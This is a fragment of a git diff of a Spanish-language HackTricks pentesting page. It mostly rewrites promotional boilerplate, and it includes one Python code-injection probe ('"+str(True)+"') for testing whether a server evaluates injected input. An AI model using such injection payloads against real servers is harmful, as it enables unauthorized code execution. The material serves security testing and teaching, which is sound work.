* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,23 +2,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Servidor usando python
Prueba una posible **ejecución de código**, usando la función _str()_:
Prueba una posible **ejecución de código**, utilizando la función _str()_:
```python
"+str(True)+" #If the string True is printed, then it is vulnerable
```
@ -38,16 +36,14 @@ Prueba una posible **ejecución de código**, usando la función _str()_:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>